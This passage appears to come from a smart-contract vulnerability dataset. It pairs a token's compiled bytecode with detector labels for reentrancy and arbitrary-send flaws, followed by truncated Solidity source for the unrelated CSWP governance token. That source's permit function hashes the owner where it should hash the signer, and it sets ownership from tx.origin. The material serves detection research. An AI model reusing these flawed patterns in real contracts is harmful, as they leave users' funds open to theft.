12b0565b73ffffffffffffffffffffffffffffffffffffffff161461090257600080fd5b600047905061091081611db1565b50565b600061095d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eac565b9050919050565b61096c6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f0906131fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f44696e7500000000000000000000000000000000000000000000000000000000815250905090565b6000610b31610b2a6112b0565b8484611483565b6001905092915050565b6000601460159054906101000a900460ff16905090565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015442610ba29190613482565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bea6112b0565b73ffffffffffffffffffffffffffffffffffffffff1614610c0a57600080fd5b6000610c1530610913565b9050610c2081611f1a565b50565b610c2b6112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610caf906131fc565b60405180910390fd5b60016014806101000a81548160ff021916908315150217905550607842610cdf91906133a1565b601581905550565b6000610d14601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b905090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610da86112b0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2c906131fc565b60405180910390fd5b60148054906101000a900460ff1615610e83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7a9061327c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f1330601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b8565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f5957600080fd5b505afa158015610f6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f919190612b44565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ff357600080fd5b505afa158015611007573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061102b9190612b44565b6040518363ffffffff1660e01b815260040161104892919061300c565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612b44565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061112330610913565b60008061112e610ab7565b426040518863ffffffff1660e01b81526004016111509695949392919061305e565b6060604051808303818588803b15801561116957600080fd5b505af115801561117d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111a29190612caf565b5050506729a2241af62c000060108190555042600d81905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161125a929190613035565b602060405180830381600087803b15801561127457600080fd5b505af1158015611288573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112ac9190612c5d565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f9061325c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611398576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138f9061313c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147691906132bc565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ea9061323c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155a906130fc565b60405180910390fd5b600081116115a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159d9061321c565b60405180910390fd5b6115ae610ab7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161c57506115ec610ab7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611c8a57601460159054906101000a900460ff161561172257600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611721576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117cd5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118235750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119f65760148054906101000a900460ff16611875576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186c9061329c565b60405180910390fd5b60066009819055506004600a81905550601460159054906101000a900460ff161561198c5742601554111561198b576010548111156118b357600080fd5b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e9061315c565b60405180910390fd5b602d4261194491906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601460159054906101000a900460ff16156119f557600f426119ae91906133a1565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611a0130610913565b9050601460169054906101000a900460ff16158015611a6e5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a84575060148054906101000a900460ff165b15611c8857601460159054906101000a900460ff1615611b235742600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b19906131bc565b60405180910390fd5b5b601460179054906101000a900460ff1615611bad576000611b4f600c548461221490919063ffffffff16565b9050611ba0611b9184611b83601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61228f90919063ffffffff16565b826122ed90919063ffffffff16565b9050611bab81612337565b505b6000811115611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960068461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660048461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122040ec32bfd6b8b24e72c3901bb4a1b457cf7694cde6fbfee8d58767784dada21564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,112 |
0xc882ccd810f0ce07feae297260f474fa7f6c7999
|
// SPDX-License-Identifier: TBD
pragma solidity 0.7.4;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function allowances(address _owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface ICoinSwapGovERC20 is IERC20 {
function owner() external view returns (address payable);
function nonces(address account) external view returns (uint);
function permit(address _from, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
function DOMAIN_SEPARATOR() external view returns (bytes32);
function DOMAIN_TYPEHASH() external pure returns (bytes32);
function PERMIT_TYPEHASH() external view returns (bytes32);
function DELEGATION_TYPEHASH() external pure returns (bytes32);
function renounceOwner() external;
function setNewOwner(address payable newOwner) external;
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,uint256 b,string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
}
contract CoinSwapGovERC20 is ICoinSwapGovERC20 {
using SafeMath for uint256;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
mapping(address => uint256) public override balanceOf;
mapping(address => mapping(address => uint256)) public override allowances;
address payable public override owner;
uint256 public override totalSupply;
string public constant override name = 'CoinSwap Governance';
string public constant override symbol= 'CSWP';
uint8 public constant override decimals = 18;
bytes32 public constant override DOMAIN_TYPEHASH = keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)');
bytes32 public constant override PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
bytes32 public override DOMAIN_SEPARATOR;
mapping (address => uint) public override nonces;
constructor() {
uint chainId;
assembly { chainId := chainid() }
DOMAIN_SEPARATOR = keccak256(
abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)),keccak256(bytes('1')), chainId, address(this))
);
}
function renounceOwner() public override {
require(owner == msg.sender, 'ERC20: requires owner');
owner = address(0);
emit OwnershipTransferred(owner, address(0));
}
function setNewOwner(address payable newOwner) public override {
require((owner == msg.sender) && (newOwner != address(0)), 'ERC20: requires owner or new owner is zero');
owner = newOwner;
emit OwnershipTransferred(owner, newOwner);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender,address recipient,uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, allowances[sender][msg.sender].sub(amount, 'ERC20: transfer amount > allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender,
allowances[msg.sender][spender].sub(subtractedValue, 'ERC20: decreased allowance below zero'));
return true;
}
function _transfer(address sender,address recipient,uint256 amount) internal {
require((sender != address(0)) && (recipient != address(0)), 'ERC20: transfer with zero address');
balanceOf[sender] = balanceOf[sender].sub(amount, 'ERC20: transfer amount exceeds balance');
balanceOf[recipient] = balanceOf[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: mint to zero address');
totalSupply = totalSupply.add(amount);
balanceOf[account] = balanceOf[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'ERC20: burn from the zero address');
balanceOf[account] = balanceOf[account].sub(amount, 'ERC20: burn amount exceeds balance');
totalSupply = totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address _owner,address spender,uint256 amount) internal {
require((_owner != address(0)) &&( spender != address(0)), 'ERC20: approve with zero address');
allowances[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,msg.sender,allowances[account][msg.sender].sub(amount, 'ERC20: burn amount exceeds allowance'));
}
function permit(address sender, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'ERC20: expired');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[sender]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == sender, 'ERC20: wrong signature');
_approve(sender, spender, value);
}
}
contract CSWPToken is CoinSwapGovERC20 {
using SafeMath for uint256;
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
constructor() {owner = tx.origin;}
mapping (address => address) internal _delegates;
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
mapping (address => uint32) public numCheckpoints;
function mint(address _to, uint256 _amount) public {
require(owner == msg.sender, 'ERC20: not owner');
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee,uint nonce,uint expiry,uint8 v,bytes32 r, bytes32 s) external {
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH,delegatee,nonce,expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01",DOMAIN_SEPARATOR,structHash));
address deletator = ecrecover(digest, v, r, s);
require(deletator != address(0), "CSWP: invalid signature");
require(nonce == nonces[deletator]++, "CSWP: invalid nonce");
require(block.timestamp <= expiry, "CSWP: signature expired");
return _delegate(deletator, delegatee);
}
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {
require(blockNumber < block.number, "CSWP: too early");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) { return 0; }
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
